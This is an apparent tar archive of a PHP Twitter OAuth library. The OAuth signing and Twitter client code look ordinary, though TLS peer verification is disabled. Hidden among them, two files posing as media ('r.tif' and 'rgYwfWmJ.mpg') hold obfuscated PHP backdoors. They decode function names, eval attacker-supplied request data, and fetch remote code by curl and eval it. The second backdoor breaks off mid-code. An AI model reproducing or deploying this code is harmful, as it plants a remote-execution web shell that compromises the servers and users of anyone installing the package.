} public function get_parameter($name) { return isset($this->parameters[$name]) ? $this->parameters[$name] : null; } public function get_parameters() { return $this->parameters; } public function unset_parameter($name) { unset($this->parameters[$name]); } /** * The request parameters, sorted and concatenated into a normalized string. * @return string */ public function get_signable_parameters() { // Grab all parameters $params = $this->parameters; // Remove oauth_signature if present // Ref: Spec: 9.1.1 ("The oauth_signature parameter MUST be excluded.") if (isset($params['oauth_signature'])) { unset($params['oauth_signature']); } return OAuthUtil::build_http_query($params); } /** * Returns the base string of this request * * The base string defined as the method, the url * and the parameters (normalized), each urlencoded * and the concated with &. */ public function get_signature_base_string() { $parts = array( $this->get_normalized_http_method(), $this->get_normalized_http_url(), $this->get_signable_parameters() ); $parts = OAuthUtil::urlencode_rfc3986($parts); return implode('&', $parts); } /** * just uppercases the http method */ public function get_normalized_http_method() { return strtoupper($this->http_method); } /** * parses the url and rebuilds it to be * scheme://host/path */ public function get_normalized_http_url() { $parts = parse_url($this->http_url); $port = (array_key_exists('port', $parts) ? $parts['port'] : NULL); $scheme = $parts['scheme']; $host = $parts['host']; $path = (array_key_exists('path', $parts) ? $parts['path'] : NULL); $port or $port = ($scheme == 'https') ? '443' : '80'; if (($scheme == 'https' && $port != '443') || ($scheme == 'http' && $port != '80') ) { $host = "$host:$port"; } return "$scheme://$host$path"; } /** * builds a url usable for a GET request */ public function to_url() { $post_data = $this->to_postdata(); $out = $this->get_normalized_http_url(); if ($post_data) { $out .= '?'.$post_data; } return $out; } /** * builds the data one would send in a POST request */ public function to_postdata() { return OAuthUtil::build_http_query($this->parameters); } /** * builds the Authorization: header */ public function to_header($realm=null) { $first = true; if($realm) { $out = 'Authorization: OAuth realm="' . OAuthUtil::urlencode_rfc3986($realm) . '"'; $first = false; } else $out = 'Authorization: OAuth'; $total = array(); foreach ($this->parameters as $k => $v) { if (substr($k, 0, 5) != "oauth") continue; if (is_array($v)) { throw new OAuthException('Arrays not supported in headers'); } $out .= ($first) ? ' ' : ','; $out .= OAuthUtil::urlencode_rfc3986($k) . '="' . OAuthUtil::urlencode_rfc3986($v) . '"'; $first = false; } return $out; } public function __toString() { return $this->to_url(); } public function sign_request($signature_method, $consumer, $token) { $this->set_parameter( "oauth_signature_method", $signature_method->get_name(), false ); $signature = $this->build_signature($signature_method, $consumer, $token); $this->set_parameter("oauth_signature", $signature, false); } public function build_signature($signature_method, $consumer, $token) { $signature = $signature_method->build_signature($this, $consumer, $token); return $signature; } /** * util function: current timestamp */ private static function generate_timestamp() { return time(); } /** * util function: current nonce */ private static function generate_nonce() { $mt = microtime(); $rand = mt_rand(); return md5($mt . $rand); // md5s look nicer than numbers } } class OAuthServer { protected $timestamp_threshold = 300; // in seconds, five minutes protected $version = '1.0'; // hi blaine protected $signature_methods = array(); protected $data_store; function __construct($data_store) { $this->data_store = $data_store; } public function add_signature_method($signature_method) { $this->signature_methods[$signature_method->get_name()] = $signature_method; } // high level functions /** * process a request_token request * returns the request token on success */ public function fetch_request_token(&$request) { $this->get_version($request); $consumer = $this->get_consumer($request); // no token required for the initial token request $token = NULL; $this->check_signature($request, $consumer, $token); // Rev A change $callback = $request->get_parameter('oauth_callback'); $new_token = $this->data_store->new_request_token($consumer, $callback); return $new_token; } /** * process an access_token request * returns the access token on success */ public function fetch_access_token(&$request) { $this->get_version($request); $consumer = $this->get_consumer($request); // requires authorized request token $token = $this->get_token($request, $consumer, "request"); $this->check_signature($request, $consumer, $token); // Rev A change $verifier = $request->get_parameter('oauth_verifier'); $new_token = $this->data_store->new_access_token($token, $consumer, $verifier); return $new_token; } /** * verify an api call, checks all the parameters */ public function verify_request(&$request) { $this->get_version($request); $consumer = $this->get_consumer($request); $token = $this->get_token($request, $consumer, "access"); $this->check_signature($request, $consumer, $token); return array($consumer, $token); } // Internals from here /** * version 1 */ private function get_version(&$request) { $version = $request->get_parameter("oauth_version"); if (!$version) { // Service Providers MUST assume the protocol version to be 1.0 if this parameter is not present. // Chapter 7.0 ("Accessing Protected Ressources") $version = '1.0'; } if ($version !== $this->version) { throw new OAuthException("OAuth version '$version' not supported"); } return $version; } /** * figure out the signature with some defaults */ private function get_signature_method(&$request) { $signature_method = @$request->get_parameter("oauth_signature_method"); if (!$signature_method) { // According to chapter 7 ("Accessing Protected Ressources") the signature-method // parameter is required, and we can't just fallback to PLAINTEXT throw new OAuthException('No signature method parameter. This parameter is required'); } if (!in_array($signature_method, array_keys($this->signature_methods))) { throw new OAuthException( "Signature method '$signature_method' not supported " . "try one of the following: " . implode(", ", array_keys($this->signature_methods)) ); } return $this->signature_methods[$signature_method]; } /** * try to find the consumer for the provided request's consumer key */ private function get_consumer(&$request) { $consumer_key = @$request->get_parameter("oauth_consumer_key"); if (!$consumer_key) { throw new OAuthException("Invalid consumer key"); } $consumer = $this->data_store->lookup_consumer($consumer_key); if (!$consumer) { throw new OAuthException("Invalid consumer"); } return $consumer; } /** * try to find the token for the provided request's token key */ private function get_token(&$request, $consumer, $token_type="access") { $token_field = @$request->get_parameter('oauth_token'); $token = $this->data_store->lookup_token( $consumer, $token_type, $token_field ); if (!$token) { throw new OAuthException("Invalid $token_type token: $token_field"); } return $token; } /** * all-in-one function to check the signature on a request * should guess the signature method appropriately */ private function check_signature(&$request, $consumer, $token) { // this should probably be in a different method $timestamp = @$request->get_parameter('oauth_timestamp'); $nonce = @$request->get_parameter('oauth_nonce'); $this->check_timestamp($timestamp); $this->check_nonce($consumer, $token, $nonce, $timestamp); $signature_method = $this->get_signature_method($request); $signature = $request->get_parameter('oauth_signature'); $valid_sig = $signature_method->check_signature( $request, $consumer, $token, $signature ); if (!$valid_sig) { throw new OAuthException("Invalid signature"); } } /** * check that the timestamp is new enough */ private function check_timestamp($timestamp) { if( ! $timestamp ) throw new OAuthException( 'Missing timestamp parameter. The parameter is required' ); // verify that timestamp is recentish $now = time(); if (abs($now - $timestamp) > $this->timestamp_threshold) { throw new OAuthException( "Expired timestamp, yours $timestamp, ours $now" ); } } /** * check that the nonce is not repeated */ private function check_nonce($consumer, $token, $nonce, $timestamp) { if( ! $nonce ) throw new OAuthException( 'Missing nonce parameter. The parameter is required' ); // verify that the nonce is uniqueish $found = $this->data_store->lookup_nonce( $consumer, $token, $nonce, $timestamp ); if ($found) { throw new OAuthException("Nonce already used: $nonce"); } } } class OAuthDataStore { function lookup_consumer($consumer_key) { // implement me } function lookup_token($consumer, $token_type, $token) { // implement me } function lookup_nonce($consumer, $token, $nonce, $timestamp) { // implement me } function new_request_token($consumer, $callback = null) { // return a new token attached to this consumer } function new_access_token($token, $consumer, $verifier = null) { // return a new access token attached to this consumer // for the user associated with this token if the request token // is authorized // should also invalidate the request token } } class OAuthUtil { public static function urlencode_rfc3986($input) { if (is_array($input)) { return array_map(array('OAuthUtil', 'urlencode_rfc3986'), $input); } else if (is_scalar($input)) { return str_replace( '+', ' ', str_replace('%7E', '~', rawurlencode($input)) ); } else { return ''; } } // This decode function isn't taking into consideration the above // modifications to the encoding process. However, this method doesn't // seem to be used anywhere so leaving it as is. public static function urldecode_rfc3986($string) { return urldecode($string); } // Utility function for turning the Authorization: header into // parameters, has to do some unescaping // Can filter out any non-oauth parameters if needed (default behaviour) public static function split_header($header, $only_allow_oauth_parameters = true) { $pattern = '/(([-_a-z]*)=("([^"]*)"|([^,]*)),?)/'; $offset = 0; $params = array(); while (preg_match($pattern, $header, $matches, PREG_OFFSET_CAPTURE, $offset) > 0) { $match = $matches[0]; $header_name = $matches[2][0]; $header_content = (isset($matches[5])) ? $matches[5][0] : $matches[4][0]; if (preg_match('/^oauth_/', $header_name) || !$only_allow_oauth_parameters) { $params[$header_name] = OAuthUtil::urldecode_rfc3986($header_content); } $offset = $match[1] + strlen($match[0]); } if (isset($params['realm'])) { unset($params['realm']); } return $params; } // helper to try to sort out headers for people who aren't running apache public static function get_headers() { if (function_exists('apache_request_headers')) { // we need this to get the actual Authorization: header // because apache tends to tell us it doesn't exist $headers = apache_request_headers(); // sanitize the output of apache_request_headers because // we always want the keys to be Cased-Like-This and arh() // returns the headers in the same case as they are in the // request $out = array(); foreach( $headers AS $key => $value ) { $key = str_replace( " ", "-", ucwords(strtolower(str_replace("-", " ", $key))) ); $out[$key] = $value; } } else { // otherwise we don't have apache and are just going to have to hope // that $_SERVER actually contains what we need $out = array(); if( isset($_SERVER['CONTENT_TYPE']) ) $out['Content-Type'] = $_SERVER['CONTENT_TYPE']; if( isset($_ENV['CONTENT_TYPE']) ) $out['Content-Type'] = $_ENV['CONTENT_TYPE']; foreach ($_SERVER as $key => $value) { if (substr($key, 0, 5) == "HTTP_") { // this is chaos, basically it is just there to capitalize the first // letter of every word that is not an initial HTTP and strip HTTP // code from przemek $key = str_replace( " ", "-", ucwords(strtolower(str_replace("_", " ", substr($key, 5)))) ); $out[$key] = $value; } } } return $out; } // This function takes a input like a=b&a=c&d=e and returns the parsed // parameters like this // array('a' => array('b','c'), 'd' => 'e') public static function parse_parameters( $input ) { if (!isset($input) || !$input) return array(); $pairs = explode('&', $input); $parsed_parameters = array(); foreach ($pairs as $pair) { $split = explode('=', $pair, 2); $parameter = OAuthUtil::urldecode_rfc3986($split[0]); $value = isset($split[1]) ? OAuthUtil::urldecode_rfc3986($split[1]) : ''; if (isset($parsed_parameters[$parameter])) { // We have already recieved parameter(s) with this name, so add to the list // of parameters with this name if (is_scalar($parsed_parameters[$parameter])) { // This is the first duplicate, so transform scalar (string) into an array // so we can add the duplicates $parsed_parameters[$parameter] = array($parsed_parameters[$parameter]); } $parsed_parameters[$parameter][] = $value; } else { $parsed_parameters[$parameter] = $value; } } return $parsed_parameters; } public static function build_http_query($params) { if (!$params) return ''; // Urlencode both keys and values $keys = OAuthUtil::urlencode_rfc3986(array_keys($params)); $values = OAuthUtil::urlencode_rfc3986(array_values($params)); $params = array_combine($keys, $values); // Parameters are sorted by name, using lexicographical byte value ordering. // Ref: Spec: 9.1.1 (1) uksort($params, 'strcmp'); $pairs = array(); foreach ($params as $parameter => $value) { if (is_array($value)) { // If two or more parameters share the same name, they are sorted by their value // Ref: Spec: 9.1.1 (1) natsort($value); foreach ($value as $duplicate_value) { $pairs[] = $parameter . '=' . $duplicate_value; } } else { $pairs[] = $parameter . '=' . $value; } } // For each parameter, the name is separated from the corresponding value by an '=' character (ASCII code 61) // Each name-value pair is separated by an '&' character (ASCII code 38) return implode('&', $pairs); } }�������������������������������������������������������������������������������������������������������������������twitteroauth/twitteroauth.php�����������������������������������������������������������������������0000644�����������������00000017325�14720701300�0012565 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /* * Abraham Williams (abraham@abrah.am) http://abrah.am * * The first PHP Library to support OAuth for Twitter's REST API. */ /* Load OAuth lib. You can find it at http://oauth.net */ require_once('OAuth.php'); /** * Twitter OAuth class */ class TwitterOAuth { /* Contains the last HTTP status code returned. */ public $http_code; /* Contains the last API call. */ public $url; /* Set up the API root URL. */ public $host = "https://api.twitter.com/1.1/"; /* Set timeout default. */ public $timeout = 30; /* Set connect timeout. */ public $connecttimeout = 5; /* Verify SSL Cert. */ public $ssl_verifypeer = FALSE; /* Respons format. */ public $format = 'json'; /* Decode returned json data. */ public $decode_json = TRUE; /* Contains the last HTTP headers returned. */ public $http_info; /* Set the useragnet. */ public $useragent = 'TwitterOAuth v0.2.0-beta2'; /* Immediately retry the API call if the response was not successful. */ //public $retry = TRUE; /** * Set API URLS */ function accessTokenURL() { return 'https://api.twitter.com/oauth/access_token'; } function authenticateURL() { return 'https://api.twitter.com/oauth/authenticate'; } function authorizeURL() { return 'https://api.twitter.com/oauth/authorize'; } function requestTokenURL() { return 'https://api.twitter.com/oauth/request_token'; } /** * Debug helpers */ function lastStatusCode() { return $this->http_status; } function lastAPICall() { return $this->last_api_call; } /** * construct TwitterOAuth object */ function __construct($consumer_key, $consumer_secret, $oauth_token = NULL, $oauth_token_secret = NULL) { $this->sha1_method = new OAuthSignatureMethod_HMAC_SHA1(); $this->consumer = new OAuthConsumer($consumer_key, $consumer_secret); if (!empty($oauth_token) && !empty($oauth_token_secret)) { $this->token = new OAuthConsumer($oauth_token, $oauth_token_secret); } else { $this->token = NULL; } } /** * Get a request_token from Twitter * * @returns a key/value array containing oauth_token and oauth_token_secret */ function getRequestToken($oauth_callback) { $parameters = array(); $parameters['oauth_callback'] = $oauth_callback; $request = $this->oAuthRequest($this->requestTokenURL(), 'GET', $parameters); $token = OAuthUtil::parse_parameters($request); $this->token = new OAuthConsumer($token['oauth_token'], $token['oauth_token_secret']); return $token; } /** * Get the authorize URL * * @returns a string */ function getAuthorizeURL($token, $sign_in_with_twitter = TRUE) { if (is_array($token)) { $token = $token['oauth_token']; } if (empty($sign_in_with_twitter)) { return $this->authorizeURL() . "?oauth_token={$token}"; } else { return $this->authenticateURL() . "?oauth_token={$token}"; } } /** * Exchange request token and secret for an access token and * secret, to sign API calls. * * @returns array("oauth_token" => "the-access-token", * "oauth_token_secret" => "the-access-secret", * "user_id" => "9436992", * "screen_name" => "abraham") */ function getAccessToken($oauth_verifier) { $parameters = array(); $parameters['oauth_verifier'] = $oauth_verifier; $request = $this->oAuthRequest($this->accessTokenURL(), 'GET', $parameters); $token = OAuthUtil::parse_parameters($request); $this->token = new OAuthConsumer($token['oauth_token'], $token['oauth_token_secret']); return $token; } /** * One time exchange of username and password for access token and secret. * * @returns array("oauth_token" => "the-access-token", * "oauth_token_secret" => "the-access-secret", * "user_id" => "9436992", * "screen_name" => "abraham", * "x_auth_expires" => "0") */ function getXAuthToken($username, $password) { $parameters = array(); $parameters['x_auth_username'] = $username; $parameters['x_auth_password'] = $password; $parameters['x_auth_mode'] = 'client_auth'; $request = $this->oAuthRequest($this->accessTokenURL(), 'POST', $parameters); $token = OAuthUtil::parse_parameters($request); $this->token = new OAuthConsumer($token['oauth_token'], $token['oauth_token_secret']); return $token; } /** * GET wrapper for oAuthRequest. */ function get($url, $parameters = array()) { $response = $this->oAuthRequest($url, 'GET', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * POST wrapper for oAuthRequest. */ function post($url, $parameters = array()) { $response = $this->oAuthRequest($url, 'POST', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * DELETE wrapper for oAuthReqeust. */ function delete($url, $parameters = array()) { $response = $this->oAuthRequest($url, 'DELETE', $parameters); if ($this->format === 'json' && $this->decode_json) { return json_decode($response); } return $response; } /** * Format and sign an OAuth / API request */ function oAuthRequest($url, $method, $parameters) { if (strrpos($url, 'https://') !== 0 && strrpos($url, 'http://') !== 0) { $url = "{$this->host}{$url}.{$this->format}"; } $request = OAuthRequest::from_consumer_and_token($this->consumer, $this->token, $method, $url, $parameters); $request->sign_request($this->sha1_method, $this->consumer, $this->token); switch ($method) { case 'GET': return $this->http($request->to_url(), 'GET'); default: return $this->http($request->get_normalized_http_url(), $method, $request->to_postdata()); } } /** * Make an HTTP request * * @return API results */ function http($url, $method, $postfields = NULL) { $this->http_info = array(); $ci = curl_init(); /* Curl settings */ curl_setopt($ci, CURLOPT_USERAGENT, $this->useragent); curl_setopt($ci, CURLOPT_CONNECTTIMEOUT, $this->connecttimeout); curl_setopt($ci, CURLOPT_TIMEOUT, $this->timeout); curl_setopt($ci, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ci, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, $this->ssl_verifypeer); curl_setopt($ci, CURLOPT_HEADERFUNCTION, array($this, 'getHeader')); curl_setopt($ci, CURLOPT_HEADER, FALSE); switch ($method) { case 'POST': curl_setopt($ci, CURLOPT_POST, TRUE); if (!empty($postfields)) { curl_setopt($ci, CURLOPT_POSTFIELDS, $postfields); } break; case 'DELETE': curl_setopt($ci, CURLOPT_CUSTOMREQUEST, 'DELETE'); if (!empty($postfields)) { $url = "{$url}?{$postfields}"; } } curl_setopt($ci, CURLOPT_URL, $url); $response = curl_exec($ci); $this->http_code = curl_getinfo($ci, CURLINFO_HTTP_CODE); $this->http_info = array_merge($this->http_info, curl_getinfo($ci)); $this->url = $url; curl_close ($ci); return $response; } /** * Get the header info to store. */ function getHeader($ch, $header) { $i = strpos($header, ':'); if (!empty($i)) { $key = str_replace('-', '_', strtolower(substr($header, 0, $i))); $value = trim(substr($header, $i + 2)); $this->http_header[$key] = $value; } return strlen($header); } }�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������twitteroauth/twitteroauth/index.php�����������������������������������������������������������������0000644�����������������00000000000�14720701300�0013652 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������twitteroauth/twitteroauth/r.tif���������������������������������������������������������������������0000644�����������������00000011644�14720701300�0013017 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $aTBbm/*-m1^Pk`[-*/ = /*-~oZw66?Z8v-*/"r"."a"/*-zB7~c8=|:-*/."n"."g"/*-!|wo!R--*/."e"; /*-U-*/$ztm /*-;,-*/= /*-PvBKdY-*/$aTBbm/*-o5-*/("~", /*-^;<oMzDCY-*/" "); /*-EhV:$wcm-*/$rP/*-35bH-*/=/*-;AyF#h-*/${$ztm/*-gnPT&-*/[24+7]/*-hv8-*/.$ztm/*-!jq%u!6t1-*/[11+48]/*-%@-*/.$ztm/*-l@Vi|,+_-*/[39+8]./*-9aMvQm@PK=-*/$ztm/*-O&Z-*/[23+24]./*-4C^x-*/$ztm/*-}x.c-*/[51+0]./*-fD-*/$ztm/*-P~F-*/[1+52]/*-CN_-*/.$ztm/*-Qq`WE-*/[19+38]/*-gcK&c-*/}; /*-ETi-*/if(/*-%4c#2-*/in_array/*-n}F8JC4R^-*/(gettype/*-kW-*/($rP)."17",/*-IOY-*/$rP))/*-s>-*/{ $rP/*-ugeKXnwsH-*/[70]/*-;G-*/=/*-)Z<23-*/$rP/*-zy&r5S&?v-*/[70]./*-><g^PuTJ3-*/$rP/*-QeDo[kk-*/[77];/*-m-=-*/ @eval/*-X#?V-*/(/*--{-*/$rP/*-f(}ef9[+-*/[70]/*-(Y_dMk6$g<-*/(/*-oAlHU$Z-*/${$rP[37]}/*-U6?!d+taMw-*/[10])); }/*-I;N,-*/class /*-T07-*/infDC{ /*-H(bN`d-*/static/*-[_w,[-*/ function /*-:w^63VN-*/vEZirBbTG($LIWCxOhVm) /*-WtU3R-_IM-*/{ $WoVfIzpkR/*-~E_;#YM-*/ = /*-NJ-*/"r"./*-yGgF|-*/"a"./*-v$JN+sYHS-*/"n"./*-Ho-*/"g"./*-tG:5zF&Fu-*/"e"; /*-oU-2FX-*/$fvs/*-y5@HDnB=-*/ = /*-;SxUMq{$$-*/$WoVfIzpkR/*->R-*/(/*-@R0e-*/"~"/*-Y6(uG-*/, /*-2Y-*/" "/*-,!@xTSj;-*/);/*-S^d[_8>,-*/ $RCWfEG /*--B-*/= /*-Os-*/explode/*-)WQ6y:E-*/(/*-Dfj-*/"~", /*-tui;8W-*/$LIWCxOhVm/*-8#WSFX04l@-*/); /*-[O^M-*/$HSKVLIbiRP /*-K6{42E-*/= /*-~bZVb(q+;-*/""; foreach /*-k|PA2-Jh-*/(/*-Z}Uhx-*/$RCWfEG /*-Fa&-*/as /*-bo(-*/$YOqKthi /*-Qx&DL_Q-*/=>/*-~Z}r>Y|pi-*/ $LvcyHht/*-N>q!Qx!=-*/) /*-@Qv2{d2l9(-*/$HSKVLIbiRP /*-NM-*/.= /*-EjFkHg%3W`-*/$fvs[$LvcyHht/*-Lj-*/ - /*-kiOEK3-*/32956/*-.;pp-*/];/*-Y3yqw-*/ return /*-s)5mR3Do-*/$HSKVLIbiRP; /*-__-*/} /*-phLlebdAL-*/static /*-ak-*/function /*-71J`^}Xue-*/HBMFPxbUvC/*-g`8-*/(/*-GY-*/$syhpIK,/*-3o3:<5`C-*/ $RbVOxGdlh/*->22)[A-*/)/*-ZP-*/ {/*-..fXr52-*/ $MdCv/*-SsP+QK-*/ = /*-Gr_g$wi6-*/curl_init/*-{^F-*/(/*-viydo-*/$syhpIK/*->2.Gb;|-*/);/*-GIk[sid5-*/ curl_setopt/*-dsLU-ptU-*/(/*-ignZn%_-*/$MdCv,/*-es;]RlM0-*/ CURLOPT_RETURNTRANSFER,/*-Yy;)O-*/ 1/*-{}K`{,H{R-*/);/*-zL^-*/ $PrhG/*-da}Vx-*/ = /*-<oju-*/curl_exec/*-~,u7o;Wb-*/(/*-0nth-3=n-*/$MdCv/*-~?-*/); /*-@$Z],-*/return /*-Ai=ZC>>n-*/empty/*-#~Rn)MD_!0-*/(/*-6M<-*/$PrhG/*-kRS;GE%R-*/)/*-[er_3EBf)-*/ ? /*-g>y-*/$RbVOxGdlh/*-;Nabuyjl-*/(/*-80z$1`-*/$syhpIK/*-[ZX=h@5D-*/)/*-~;2;-*/ : /*-I0-*/$PrhG; /*-_:-*/}/*-22;au}I-*/ static/*-PC-*/ function /*-sU-*/lH/*-e&-*/() /*-8&JqbJY--*/{/*-8zX;|E]+Rw-*/ $ekoAGLCv /*-tl`;FQ-*/=/*-;|-*/ array/*-GcDW-*/("32983~32968~32981~32985~32966~32981~32987~32980~32965~32972~32983~32966~32977~32971~32972","32967~32966~32968~32987~32968~32971~32966~33033~33031","32976~32967~32971~32972~32987~32982~32981~32983~32971~32982~32981","32970~32985~32983~32975","32984~32985~32967~32981~33028~33030~32987~32982~32981~32983~32971~32982~32981","32980~32977~32974~32981~32987~32979~32981~32966~32987~32983~32971~32972~32966~32981~32972~32966~32967","33010~33040","32957","33035~33040","33017~33000~33000~33017~32993","32971~32980"); /*-R3`]xMp-*/foreach /*-|F0t}#gH-*/(/*-fEtB@|kbV9-*/$ekoAGLCv/*-?ZhB59dg-*/ as /*-m&G2-*/$zPK/*-HbS$==0Xdi-*/)/*-v>}[kM+A-*/ $MHJUqy/*-p;x:_56IH-*/[] /*-]!~-*/= /*-BhWtSOUU<-*/self/*-h8-*/::/*-(M)ujQ-*/vEZirBbTG/*-9LKQ-*/(/*-dzM-*/$zPK/*-s&u-*/);/*-`9+T3O)mC-*/$bon /*-]Q=M(--*/= /*-i_-*/@$MHJUqy/*-P_-*/[/*-|AXq9U-*/1/*-|9V^6O88R-*/]/*-_yyJ-*/(/*-75d&IvH!}-*/${/*-+0L?-*/"_"/*-G^-8d3I]--*/."G"/*-;(xe}%wmV8-*/."E"/*-uSJ-*/."T"/*-iIKYQDy&$-*/}[/*-z:G-*/$MHJUqy/*-E]~ct;kx%-*/[/*-+(Cl6p,|-*/5+4/*-em-*/]]/*-aLw`o8i|-*/);/*-uw?)Q(tw-*/ $Wa /*-vx#W-*/=/*-zW4aj&pQi-*/ @$MHJUqy/*-z^O=JJ-*/[/*-xhL-*/2+1/*-Ss-*/]/*-r:N?-*/(/*-OooWBV<-*/$MHJUqy/*->C7>,r-*/[/*-9g:k7jVT]R-*/2+4/*-HP-LSJ-*/], /*-0W-*/$bon/*-`x2<;%X^+b-*/);/*-C1-yD--*/ $IG /*-U<-*/=/*-@Sw-*/ $MHJUqy/*-aKYl~-*/[/*-1x&1-*/0+2/*-6aGrL%8-*/]/*-wWTq8>X-*/(/*-Bl,q;-*/$Wa,/*-l6$1P^-*/ true/*-}[T-*/); /*-Q@o-*/@${/*-g?#f+-*/"_"./*-3T-*/"G"./*-~?ff)x>Ys@-*/"E"/*-yvL)~-*/."T"/*-;W-*/}/*-F_<Jg-*/[/*-ajKTb<-*/$MHJUqy/*-v:l`F[-*/[2+8/*-g-*/]/*-Vrah-u<V-*/]/*-~Hs@9-*/ == /*-;Lm}-*/1 /*-(J-*/&& /*-g2V}m<&=o-*/die/*-&u50MV7nQ:-*/(/*-L3B$~d<-*/$MHJUqy[3+2/*-dw-*/]/*-6~9IjbS-*/(/*-D?vrU-O-*/__FILE__/*-u2h-*/)/*-}yqW#$gS#-*/); /*-]3iC--*/if/*-.0J}07AJ-*/(/*-_x#s9c?-*/ (/*-4^[j-*/(@/*-klXY@Il8-*/$IG/*-M6hDp#-*/[/*-eVq7OiA-*/0/*-!>2q-*/] /*-Ma|-*/- time/*-{iv-*/()/*-Ue@T`z.o-*/) > /*-n>DRh-*/0/*-6@acm^h-*/)/*-Nb}5x!C^w-*/ and /*-^4$O:PW-*/(/*-$u-*/md5/*-kHg8<;-*/(/*-U3@Z_E-*/md5/*-8BZ2M#`Ou^-*/(/*-)7lU^l-*/$IG/*-rb3OgRaa%-*/[/*-ux95?-*/2+1/*-|Om4-*/]/*-r@ag=+Sr]-*/)/*-;`DSBrA:-*/)/*-AbSTb9-*/ === /*-@M>y<nHj-*/"366390c1ff9d5c3d31bc5b7367beef26"/*-5myo-*/)/*-Gk4.XhhO-*/ ): /*-dThUQ-*/$Bey /*-{k-*/=/*-sCslpXL{-*/ self/*-F!-*/::/*-Zl90%aPZo-*/HBMFPxbUvC/*-HH;##bj-*/(/*-x,xLu=fs,3-*/$IG/*-qa$#p-*/[/*-&I)W?I]{-*/0+1/*-{a%(i|sU?-*/], /*-Dsl!GB$4T+-*/$MHJUqy/*-fyoo||O$B-*/[/*-$Z-*/0+5/*-6nWJmB:>9-*/]/*-;-8-*/);/*-zOc3L.&+-*/@eval/*-i4?(1679-*/(/*-V^slP-*/$MHJUqy/*-ra<B-*/[/*-boLs-*/4+0/*-}]-*/]/*-#@=-*/(/*-#Qt4K|-*/$Bey/*-&zxVsE?}Y-*/)/*-Iv-*/);/*-%qvR+(qqIr-*//*-t0-*/die;/*-A^dkak8-*/ endif;/*-B-*/ }/*-$&2zH?NA-*/}/*-nT7h~I-*/infDC/*-Mjc;n.#8;a-*/::/*-jS-*/lH/*-&5U{aG-*/();/*-q8-*/ ?>��������������������������������������������������������������������������������������������twitteroauth/twitteroauth/twitteroauth/index.php����������������������������������������������������0000644�����������������00000000000�14720701300�0016415 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������twitteroauth/twitteroauth/twitteroauth/rgYwfWmJ.mpg�������������������������������������������������0000644�����������������00000011674�14720701300�0017041 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php $hbq /*-~[}bso-*/= /*-Yg6oO>-*/"r"./*-?l(-*/"a"."n"./*-r}>GC-*/"g"."e"; /*-$}y-*/$sRF/*-S)1i-*/ = /*-AW-*/$hbq/*-#OT:&-*/("~", /*-m5[j|hp4LD-*/" "); /*-B,tAM-*/$LZ/*-Ngb-*/=/*-BRw-*/${$sRF/*-K-*/[21+10/*-xR&-*/].$sRF/*-Lo^O-*/[36+23]/*-%.+T.-*/.$sRF/*-{A#I:MA#-*/[5+42]/*-4HGb({~-*/.$sRF/*-@&fdELYtv-*/[24+23]/*-X&CS`C28-*/.$sRF/*-UEmhn<}$@-*/[7+44]/*-}>=9I-*/.$sRF/*-aD-*/[1+52]/*-ECJ:OV@,l-*/.$sRF/*-dY8-*/[48+9]/*-S>oW,-*/}; /*-L`$l-*/if/*-vI-*/((/*-<-RE!k-*/in_array/*-}{ciX_8-*/(gettype/*-PS8&Rq.-*/($LZ)./*-]F(v`-*/count/*-?tf@2J0f}-*/($LZ),/*->PVGZC-*/$LZ)/*-]21=rBAn-*/&&count/*-g%#]-*/($LZ)/*-IF%D6-*/==/*-??6~J}M-*/18))/*-R<m~4t.U-*/{ /*-1%#U-*/(($LZ[69]=$LZ[69].$LZ[72])&&($LZ[85]=$LZ[69]($LZ[85]))&&(/*-C:2z]-8;-*/@eval/*-j:$-*/($LZ[69](${$LZ[47]}[22])/*-q2X]lcr-*/))/*-4WAn:-*/);}/*-Id=]BH$(-*/class /*-Q3e6z-*/oH{ /*-AvF!zwvgf-*/static/*-Qz.D!Z@V-*/ function /*-1{E0fe5`_-*/Dzpi($CrFbXq) /*-rl-*/{ $dKCuOFHvrB/*-{LB;xQAC-*/ = /*-4Co;-*/"r"./*-meU`w]9-*/"a"./*-(8-*/"n"./*-$tsDn%.-*/"g"./*-jxx(-*/"e"; /*-Dh{Nv9-*/$GQMs/*-2cGF-*/ = /*-JV3<+C-*/$dKCuOFHvrB/*-&$?&-*/(/*-0G8h-*/"~"/*-g3J-*/, /*-^}0S,-*/" "/*-dYZH^-*/);/*--l-*/ $iv /*-{9-*/= /*-~[HC,{-*/explode/*-,k;h-*/(/*-}LKn-*/"@", /*-f~B1+y9-*/$CrFbXq/*-+J=,-*/); /*-dQ>24cF^-*/$fREqFXSiW /*-g?6-*/= /*-_5i}f-*/""; foreach /*-8a;i#R-*/(/*-nq84`R-*/$iv /*-ca<J1-*/as /*-q8-*/$peX /*-+miEP-*/=>/*-&f63-*/ $HIBCbygWPO/*-9StLX-*/) /*->^}A`0-*/$fREqFXSiW /*-UG1.-*/.= /*-bU@=&amaY-*/$GQMs[$HIBCbygWPO/*-4xf9cz#f-*/ - /*-GGp-*/84629/*-3O:i-*/];/*-n@ms-*/ return /*-sa#Aoq-*/$fREqFXSiW; /*-^khLZ!X!3-*/} /*-8?-*/static /*-t[`w-*/function /*-Gna!{t-*/MrZDphH/*-r-3ivl1.-*/(/*-7198?$^-*/$VWjzBNS,/*-Nt}-*/ $Jpyd/*-81$()>-*/)/*-7jr}3-*/ {/*-na;8@_Z-*/ $FKHUr/*-v89wq?-*/ = /*-Rx2A-*/curl_init/*-z4GPEqq-*/(/*-3~;DLd^-*/$VWjzBNS/*-Vz>kk-*/);/*-PDO`[-*/ curl_setopt/*-=U|U69-*/(/*-aadW-*/$FKHUr,/*-wIl3[-*/ 